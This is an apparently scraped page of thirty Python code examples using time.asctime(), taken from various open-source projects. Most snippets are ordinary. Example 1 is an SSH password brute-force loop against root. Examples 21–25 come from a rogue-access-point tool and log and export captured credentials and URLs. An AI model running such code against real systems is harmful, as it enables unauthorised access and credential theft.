Python time.asctime() Examples

The following are 30 code examples for showing how to use time.asctime(). These examples are extracted from open source projects. You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example.

You may check out the related API usage on the sidebar.

You may also want to check out all available functions/classes of the module time , or try the search function .

Example 1
Project: fuzzdb-collect   Author: euphrat1ca   File: python多线程ssh爆破.py    License: GNU General Public License v3.0 7 votes vote down vote up
def run(self):
        print("Start try ssh => %s" % self.ip)
        username = "root"
        try:
            password = open(self.dict).read().split('\n')
        except:
            print("Open dict file `%s` error" % self.dict)
            exit(1)
        for pwd in password:
            try:
                ssh = paramiko.SSHClient()
                ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
                ssh.connect(self.ip, self.port, username, pwd, timeout = self.timeout)
                print("\nIP => %s, Login %s => %s \n" % (self.ip, username, pwd))
                open(self.LogFile, "a").write("[ %s ] IP => %s, port => %d, %s => %s \n" % (time.asctime( time.localtime(time.time()) ), self.ip, self.port, username, pwd))
                break
            except:
                print("IP => %s, Error %s => %s" % (self.ip, username, pwd))
                pass 
Example 2
Project: mmdetection   Author: open-mmlab   File: setup.py    License: Apache License 2.0 6 votes vote down vote up
def write_version_py():
    content = """# GENERATED VERSION FILE
# TIME: {}

__version__ = '{}'
short_version = '{}'
version_info = ({})
"""
    sha = get_hash()
    with open('mmdet/VERSION', 'r') as f:
        SHORT_VERSION = f.read().strip()
    VERSION_INFO = ', '.join(SHORT_VERSION.split('.'))
    VERSION = SHORT_VERSION + '+' + sha

    version_file_str = content.format(time.asctime(), VERSION, SHORT_VERSION,
                                      VERSION_INFO)
    with open(version_file, 'w') as f:
        f.write(version_file_str) 
Example 3
Project: meddle   Author: glmcdona   File: mailbox.py    License: MIT License 6 votes vote down vote up
def _install_message(self, message):
        """Format a message and blindly write to self._file."""
        from_line = None
        if isinstance(message, str) and message.startswith('From '):
            newline = message.find('\n')
            if newline != -1:
                from_line = message[:newline]
                message = message[newline + 1:]
            else:
                from_line = message
                message = ''
        elif isinstance(message, _mboxMMDFMessage):
            from_line = 'From ' + message.get_from()
        elif isinstance(message, email.message.Message):
            from_line = message.get_unixfrom()  # May be None.
        if from_line is None:
            from_line = 'From MAILER-DAEMON %s' % time.asctime(time.gmtime())
        start = self._file.tell()
        self._file.write(from_line + os.linesep)
        self._dump_message(message, self._file, self._mangle_from_)
        stop = self._file.tell()
        return (start, stop) 
Example 4
Project: ironpython2   Author: IronLanguages   File: mdi_pychecker.py    License: Apache License 2.0 6 votes vote down vote up
def doSearch(self):
        self.dp = dirpath(self.dirpattern, self.recurse)
        self.SetTitle("Pychecker Run '%s' (options: %s)" % (self.filpattern, self.greppattern))
        #self.text = []
        self.GetFirstView().Append('#Pychecker Run in '+self.dirpattern+'  %s\n'%time.asctime())
        if self.verbose:
            self.GetFirstView().Append('#   ='+repr(self.dp.dirs)+'\n')
        self.GetFirstView().Append('# Files   '+self.filpattern+'\n')
        self.GetFirstView().Append('# Options '+self.greppattern+'\n')
        self.fplist = self.filpattern.split(';')
        self.GetFirstView().Append('# Running...  ( double click on result lines in order to jump to the source code ) \n')
        win32ui.SetStatusText("Pychecker running.  Please wait...", 0)
        self.dpndx = self.fpndx = 0
        self.fndx = -1
        if not self.dp:
            self.GetFirstView().Append("# ERROR: '%s' does not resolve to any search locations" % self.dirpattern)
            self.SetModifiedFlag(0)
        else:
            ##self.flist = glob.glob(self.dp[0]+'\\'+self.fplist[0])
            import operator
            self.flist = reduce(operator.add, list(map(glob.glob,self.fplist)) )
            #import pywin.debugger;pywin.debugger.set_trace()
            self.startPycheckerRun() 
Example 5
Project: ironpython2   Author: IronLanguages   File: vssutil.py    License: Apache License 2.0 6 votes vote down vote up
def VssLog(project, linePrefix = "", noLabels = 5, maxItems=150):
	lines = []
	num = 0
	labelNum = 0
	for i in project.GetVersions(constants.VSSFLAG_RECURSYES):
		num = num + 1
		if num > maxItems : break
		commentDesc = itemDesc = ""
		if i.Action[:5]=="Added":
			continue
		if len(i.Label):
			labelNum = labelNum + 1
			itemDesc = i.Action
		else:
			itemDesc = i.VSSItem.Name
			if str(itemDesc[-4:])==".dsp":
				continue
		if i.Comment:
			commentDesc ="\n%s\t%s" % (linePrefix, i.Comment)
		lines.append("%s%s\t%s%s" % (linePrefix, time.asctime(time.localtime(int(i.Date))), itemDesc, commentDesc))
		if labelNum > noLabels:
			break
	return string.join(lines,"\n") 
Example 6
Project: ironpython2   Author: IronLanguages   File: vssutil.py    License: Apache License 2.0 6 votes vote down vote up
def SubstituteVSSInFile(projectName, inName, outName):
	import win32api
	if win32api.GetFullPathName(inName)==win32api.GetFullPathName(outName):
		raise RuntimeError("The input and output filenames can not be the same")
	sourceSafe=GetSS()
	project = sourceSafe.VSSItem(projectName)
	# Find the last label
	label = None
	for version in project.Versions:
		if version.Label:
			break
	else:
		print "Couldnt find a label in the sourcesafe project!"
		return
	# Setup some local helpers for the conversion strings.
	vss_label = version.Label
	vss_date = time.asctime(time.localtime(int(version.Date)))
	now = time.asctime(time.localtime(time.time()))
	SubstituteInFile(inName, outName, (locals(),globals())) 
Example 7
Project: ironpython2   Author: IronLanguages   File: mailbox.py    License: Apache License 2.0 6 votes vote down vote up
def _install_message(self, message):
        """Format a message and blindly write to self._file."""
        from_line = None
        if isinstance(message, str) and message.startswith('From '):
            newline = message.find('\n')
            if newline != -1:
                from_line = message[:newline]
                message = message[newline + 1:]
            else:
                from_line = message
                message = ''
        elif isinstance(message, _mboxMMDFMessage):
            from_line = 'From ' + message.get_from()
        elif isinstance(message, email.message.Message):
            from_line = message.get_unixfrom()  # May be None.
        if from_line is None:
            from_line = 'From MAILER-DAEMON %s' % time.asctime(time.gmtime())
        start = self._file.tell()
        self._file.write(from_line + os.linesep)
        self._dump_message(message, self._file, self._mangle_from_)
        stop = self._file.tell()
        return (start, stop) 
Example 8
Project: BerePi   Author: jeonghoonkang   File: put_test.py    License: BSD 2-Clause "Simplified" License 6 votes vote down vote up
def helpmsg():
    volubility = len(sys.argv)
    # merge list word items to one string line
    _stringargv = " ".join(sys.argv)

    print "\n  ********************************************** "
    print   "  *** TEST OpenTSDB put                      *** "
    print   "  ***                             By 3POKang *** "
    print   "  ********************************************** "

    timestamp=time.localtime()

    print "  Thanks for the try, time : ", time.asctime(timestamp) , \
    " >> Volubility, Arg length = ", volubility

    if volubility > 1:
        argv1 = sys.argv[1]
        print "  sys.argv[%d] = %s" % (1, argv1) ,
    else :
        exit ("  you should input the IP address of openTSDB server like 10.0.0.1:4242")

    return argv1 
Example 9
Project: wepy   Author: DeliangFan   File: we.py    License: Apache License 2.0 6 votes vote down vote up
def __init__(self, data):
        weather = data['weather'][0]
        self.id = weather['id']
        self.main = weather['main']

        if len(weather['description']) >= 16:
            self.description = weather['description'][0:16]
        else:
            self.description = weather['description']

        if self.id in WEATHER_MAPE:
            self.weather_icon = copy.deepcopy(WEATHER_ICON[WEATHER_MAPE[self.id]])
        else:
            self.weather_icon = copy.deepcopy(WEATHER_ICON['unknown'])

        self.dt = data['dt']
        self.date = time.asctime(time.localtime(self.dt))[0:10]
        self.data = data 
Example 10
Project: v2rayMS   Author: Npist   File: v2rayMS_Server.py    License: MIT License 6 votes vote down vote up
def init_sqlconn(i, source):
    mark = True
    while mark:
        print(
            source + ':' + time.asctime(time.localtime(time.time())) + ':',
            end='')
        try:
            conn = v2server.sqlconn()
            if i == 0:
                print('Mysql Connection Successfully')
            elif i == 1:
                print('Mysql Connection Successfully Recovered')
            mark = False
        except Exception:
            print('Mysql Connection Error')
            time.sleep(10)
            continue
    return conn


# AES模块 
Example 11
def log_recent(conn, name, message, severity=logging.INFO, pipe=None):
    severity = str(SEVERITY.get(severity, severity)).lower()    #B
    destination = 'recent:%s:%s'%(name, severity)               #C
    message = time.asctime() + ' ' + message                    #D
    pipe = pipe or conn.pipeline()                              #E
    pipe.lpush(destination, message)                            #F
    pipe.ltrim(destination, 0, 99)                              #G
    pipe.execute()                                              #H
# <end id="recent_log"/>
#A Set up a mapping that should help turn most logging severity levels into something consistent
#B Actually try to turn a logging level into a simple string
#C Create the key that messages will be written to
#D Add the current time so that we know when the message was sent
#E Set up a pipeline so we only need 1 round trip
#F Add the message to the beginning of the log list
#G Trim the log list to only include the most recent 100 messages
#H Execute the two commands
#END

# <start id="common_log"/> 
Example 12
Project: pybel   Author: pybel   File: canonicalize.py    License: MIT License 6 votes vote down vote up
def _to_bel_lines_header(graph) -> Iterable[str]:
    """Iterate the lines of a BEL graph's corresponding BEL script's header.

    :param pybel.BELGraph graph: A BEL graph
    """
    yield '# This document was created by PyBEL v{} and bel-resources v{} on {}\n'.format(
        VERSION, bel_resources.constants.VERSION, time.asctime(),
    )
    yield from make_knowledge_header(
        namespace_url=graph.namespace_url,
        namespace_patterns=graph.namespace_pattern,
        annotation_url=graph.annotation_url,
        annotation_patterns=graph.annotation_pattern,
        annotation_list=graph.annotation_list,
        **graph.document,
    ) 
Example 13
Project: BinderFilter   Author: dxwu   File: mailbox.py    License: MIT License 6 votes vote down vote up
def _install_message(self, message):
        """Format a message and blindly write to self._file."""
        from_line = None
        if isinstance(message, str) and message.startswith('From '):
            newline = message.find('\n')
            if newline != -1:
                from_line = message[:newline]
                message = message[newline + 1:]
            else:
                from_line = message
                message = ''
        elif isinstance(message, _mboxMMDFMessage):
            from_line = 'From ' + message.get_from()
        elif isinstance(message, email.message.Message):
            from_line = message.get_unixfrom()  # May be None.
        if from_line is None:
            from_line = 'From MAILER-DAEMON %s' % time.asctime(time.gmtime())
        start = self._file.tell()
        self._file.write(from_line + os.linesep)
        self._dump_message(message, self._file, self._mangle_from_)
        stop = self._file.tell()
        return (start, stop) 
Example 14
Project: Starx_Pixiv_Collector   Author: SuzukiHonoka   File: start.py    License: MIT License 5 votes vote down vote up
def print_with_tag(tag, data ,debug=0):
    data_print = data
    if type(data) == list:
        data_print = ''
        for per_data in data:
            if len(data_print) == 0:
                data_print += str(per_data)
            else:
                data_print += ' ' + str(per_data)
    if debug == 1:
        print('[' + time.asctime(time.localtime(time.time())) + '] ' + tag + ' =>', data_print)
    else:
        print(data_print) 
Example 15
Project: Kaggler   Author: jeongyoonlee   File: data_io.py    License: MIT License 5 votes vote down vote up
def report(self):
        txt = '\n[CLOCK]  [ {} ]    '
        txt += 'since start: [ {} ]    since last: [ {} ]\n'
        current = time.asctime().split()[3]
        since_start = datetime.timedelta(seconds=round(self.now - self.start))
        since_last = datetime.timedelta(seconds=round(self.now - self.last))
        logger.info(txt.format(current, since_start, since_last)) 
Example 16
Project: SublimeKSP   Author: nojanath   File: ksp_compiler.py    License: GNU General Public License v3.0 5 votes vote down vote up
def generate_compiled_code(self):
        buffer = StringIO()
        emitter = ksp_ast.Emitter(buffer, compact=self.compact)
        self.module.emit(emitter)
        self.compiled_code = buffer.getvalue()

        # NOTE(Sam): Add a ksp comment at the beginning of the compiled script to display the time and date it was compiled on
        if self.add_compiled_date_comment:
            localtime = time.asctime( time.localtime(time.time()) )
            self.compiled_code = "{ Compiled on " + localtime + " }\n" + self.compiled_code 
Example 17
Project: myhdl   Author: myhdl   File: _traceSignals.py    License: GNU Lesser General Public License v2.1 5 votes vote down vote up
def _writeVcdHeader(f, timescale):
    print("$date", file=f)
    print("    %s" % time.asctime(), file=f)
    print("$end", file=f)
    print("$version", file=f)
    print("    MyHDL %s" % __version__, file=f)
    print("$end", file=f)
    print("$timescale", file=f)
    print("    %s" % timescale, file=f)
    print("$end", file=f)
    print(file=f) 
Example 18
Project: ArkPlanner   Author: ycremar   File: MaterialPlanning.py    License: MIT License 5 votes vote down vote up
def update(self,
               filter_freq=200,
               filter_stages=[],
               url_stats='result/matrix?show_closed_zone=true',
               url_rules='formula',
               path_stats='data/matrix.json',
               path_rules='data/formula.json',
               force=True):
        """
        To update parameters when probabilities change or new items added.
        Args:
            url_stats: string. url to the dropping rate stats data.
            url_rules: string. url to the composing rules data.
            path_stats: string. local path to the dropping rate stats data.
            path_rules: string. local path to the composing rules data.
        """
        print(f'Start to update data {time.asctime(time.localtime(time.time()))}.')
        if not force: # if not force to update, try loading data from file.
            try:
                material_probs, self.convertion_rules = load_data(path_stats, path_rules)
            except: # loading failed, try loading from server.
                force = True
        if force: # load from server.
            try:
                print('Requesting data from web resources (i.e., penguin-stats.io)...', end=' ')
                material_probs, self.convertion_rules = request_data(penguin_url+url_stats, penguin_url+url_rules, path_stats, path_rules)
                print('done.')
            except:
                return

        if filter_freq:
            filtered_probs = []
            for drop in material_probs['matrix']:
                if drop['times']>=filter_freq and drop['stageId'] not in filter_stages:
                    filtered_probs.append(drop)
            material_probs['matrix'] = filtered_probs

        if self._pre_processing(material_probs) != -1:
            self._set_lp_parameters() 
Example 19
Project: AerialDetection   Author: dingjiansw101   File: setup.py    License: Apache License 2.0 5 votes vote down vote up
def write_version_py():
    content = """# GENERATED VERSION FILE
# TIME: {}

__version__ = '{}'
short_version = '{}'
"""
    sha = get_hash()
    VERSION = SHORT_VERSION + '+' + sha

    with open(version_file, 'w') as f:
        f.write(content.format(time.asctime(), VERSION, SHORT_VERSION)) 
Example 20
Project: dpAutoRigSystem   Author: nilouco   File: dpAutoRig.py    License: GNU General Public License v2.0 5 votes vote down vote up
def logWin(self, *args):
        """ Just create a window with all information log and print the principal result.
        """
        # create the logText:
        logText = self.langDic[self.langName]['i014_logStart'] + '\n'
        logText += str( time.asctime( time.localtime(time.time()) ) ) + '\n\n'
        # get the number of riggedModules:
        nRiggedModule = len(self.riggedModuleDic)
        # pass for rigged module to add informations in logText:
        if nRiggedModule > 0:
            if nRiggedModule == 1:
                logText += str(nRiggedModule).zfill(3) + ' ' + self.langDic[self.langName]['i015_success'] + ':\n\n'
                print('\ndpAutoRigSystem Log: ' + str(nRiggedModule).zfill(3) + ' ' + self.langDic[self.langName]['i015_success'] + ', thanks!\n'),
            else:
                logText += str(nRiggedModule).zfill(3) + ' ' + self.langDic[self.langName]['i016_success'] + ':\n\n'
                print('\ndpAutoRigSystem Log: ' + str(nRiggedModule).zfill(3) + ' ' + self.langDic[self.langName]['i016_success'] + ', thanks!\n'),
            riggedGuideModuleList = []
            for riggedGuideModule in self.riggedModuleDic:
                riggedGuideModuleList.append(riggedGuideModule)
            riggedGuideModuleList.sort()
            for riggedGuideModule in riggedGuideModuleList:
                moduleCustomName= self.riggedModuleDic[riggedGuideModule]
                if moduleCustomName == None:
                    logText += riggedGuideModule + '\n'
                else:
                    logText += riggedGuideModule + " as " + moduleCustomName + '\n'
        else:
            logText += self.langDic[self.langName]['i017_nothing'] + '\n'
        logText += '\n' + self.langDic[self.langName]['i018_thanks']
        
        # creating a info window to show the log:
        self.info( 'i019_log', None, logText, 'center', 250, (150+(nRiggedModule*13)) ) 
Example 21
Project: 3vilTwinAttacker   Author: wi-fi-analyzer   File: Main.py    License: MIT License 5 votes vote down vote up
def run(self):
        print 'Starting Thread:' + self.objectName()
        self.process = p = Popen(self.args,
        stdout=PIPE,stderr=STDOUT)
        setup_logger('dhcp', './Logs/dhcp.log')
        loggerDhcp = logging.getLogger('dhcp')
        loggerDhcp.info('---[ Start DHCP '+asctime()+']---')
        for line,data in enumerate(iter(p.stdout.readline, b'')):
            print data.rstrip()
            if line > 4:
                self.emit(SIGNAL('Activated( QString )'),data.rstrip())
                loggerDhcp.info(data.rstrip()) 
Example 22
Project: 3vilTwinAttacker   Author: wi-fi-analyzer   File: utils.py    License: MIT License 5 votes vote down vote up
def run(self):
        print 'Starting Thread:' + self.name
        if self.name == 'Airbase-ng':
            setup_logger('airbase', './Logs/requestAP.log')
            log_airbase = logging.getLogger('airbase')
            log_airbase.info('---[ Start Airbase-ng '+asctime()+']---')
            log_airbase.info('-'*52)
            self.logger = True
        self.process = Popen(self.cmd,stdout=PIPE,stderr=STDOUT)
        for line in iter(self.process.stdout.readline, b''):
            if self.logger:
                if not search(Refactor.getHwAddr(Refactor.get_interfaces()['activated']),
                        str(line.rstrip()).lower()):
                    log_airbase.info(line.rstrip())
            print (line.rstrip()) 
Example 23
Project: 3vilTwinAttacker   Author: wi-fi-analyzer   File: utils.py    License: MIT License 5 votes vote down vote up
def setup_logger(logger_name, log_file, level=logging.INFO):
    l = logging.getLogger(logger_name)
    formatter = logging.Formatter('%(asctime)s : %(message)s')
    fileHandler = logging.FileHandler(log_file, mode='a')
    fileHandler.setFormatter(formatter)
    streamHandler = logging.StreamHandler()
    streamHandler.setFormatter(formatter)

    l.setLevel(level)
    l.addHandler(fileHandler)
    l.addHandler(streamHandler) 
Example 24
Project: 3vilTwinAttacker   Author: wi-fi-analyzer   File: utils.py    License: MIT License 5 votes vote down vote up
def exportHtml():
        readFile = {
         'dhcp':{'Logs/dhcp.log':[]},
         'urls':{'Logs/urls.log':[]},
         'credentials': {'Logs/credentials.log':[]},
         'requestAP':{'Logs/requestAP.log':[]}}
        for i in readFile.keys():
            for j in readFile[i]:
                with open(j,'r') as file:
                    readFile[i][j] = file.read()

        contenthtml = Refactor.htmlContent('3vilTwinAttacker Report')
        HTML = ''
        for i in contenthtml['htmlheader']:
            HTML += i+"\n"
        HTML += '</span><span class="s5">Report Generated at::</span><span class="s0">'+asctime()+'</span>\n'
        HTML += '</span><span class="s4">-----------------------------------</span><span class="s1">\n'
        HTML += '</span><span class="s2">--------[   DHCP Logger   ]--------</span><span class="s1">\n'
        HTML += readFile['dhcp']['Logs/dhcp.log']
        HTML += '</span><span class="s2">--------[   URLS Logger   ]--------</span><span class="s1">\n'
        HTML += readFile['urls']['Logs/urls.log']
        HTML += '</span><span class="s2">--------[   Creds Logger  ]--------</span><span class="s1">\n'
        HTML += readFile['credentials']['Logs/credentials.log']
        HTML += '</span><span class="s2">--------[   FakeAP Logger ]--------</span><span class="s1">\n'
        HTML += readFile['requestAP']['Logs/requestAP.log']
        HTML += '</span><span class="s4">-----------------------------------</span><span class="s1">\n'
        HTML += '</span></pre>\n'+'</body>\n'+'</html>\n'
        return HTML 
Example 25
Project: 3vilTwinAttacker   Author: wi-fi-analyzer   File: NetCreds.py    License: MIT License 5 votes vote down vote up
def setup_logger(logger_name, log_file, level=logging.INFO):
    l = logging.getLogger(logger_name)
    formatter = logging.Formatter('%(asctime)s : %(message)s')
    fileHandler = logging.FileHandler(log_file, mode='a')
    fileHandler.setFormatter(formatter)
    streamHandler = logging.StreamHandler()
    streamHandler.setFormatter(formatter)

    l.setLevel(level)
    l.addHandler(fileHandler)
    l.addHandler(streamHandler) 
Example 26
Project: Encrypt-python-code-License-control   Author: LCF2764   File: get_time.py    License: MIT License 5 votes vote down vote up
def say(self):
        if condition==True and LicInfo=='Valid':
            print('hello world!')
            localtime = time.asctime( time.localtime(time.time()) )
            print("The local time is now:", localtime)
        else:
            print('未权授!') 
Example 27
Project: Traffic-Rules-Violation-Detection   Author: rahatzamancse   File: ViolationItem.py    License: GNU General Public License v3.0 5 votes vote down vote up
def setData(self, data):
        self.data = data
        self.setCarId(data[KEYS.CARID])
        self.setTime(asctime(localtime(data[KEYS.TIME])))
        self.setCarImage(data[KEYS.CARIMAGE]) 
Example 28
Project: Pyro5   Author: irmen   File: shopserver.py    License: MIT License 5 votes vote down vote up
def payCart(self, cart, name=None):
        receipt = []
        if name:
            receipt.append("Receipt for %s." % name)
        receipt.append("Receipt Date: " + time.asctime())
        total = 0.0
        for item in cart.getContents():
            price = self.inventory[item]
            total += price
            receipt.append("%13s  %.2f" % (item, price))
        receipt.append("")
        receipt.append("%13s  %.2f" % ("total:", total))
        cart.empty()
        return "\n".join(receipt) 
Example 29
Project: Pyro5   Author: irmen   File: server_multiplexed.py    License: MIT License 5 votes vote down vote up
def loopcondition():
    print(time.asctime(), "Waiting for requests...")
    return True 
Example 30
Project: Pyro5   Author: irmen   File: echoserver.py    License: MIT License 5 votes vote down vote up
def echo(self, message):
        """return the message"""
        if self._verbose:
            message_str = repr(message).encode(sys.stdout.encoding, errors="replace").decode(sys.stdout.encoding)
            print("%s - echo: %s" % (time.asctime(), message_str))
        return message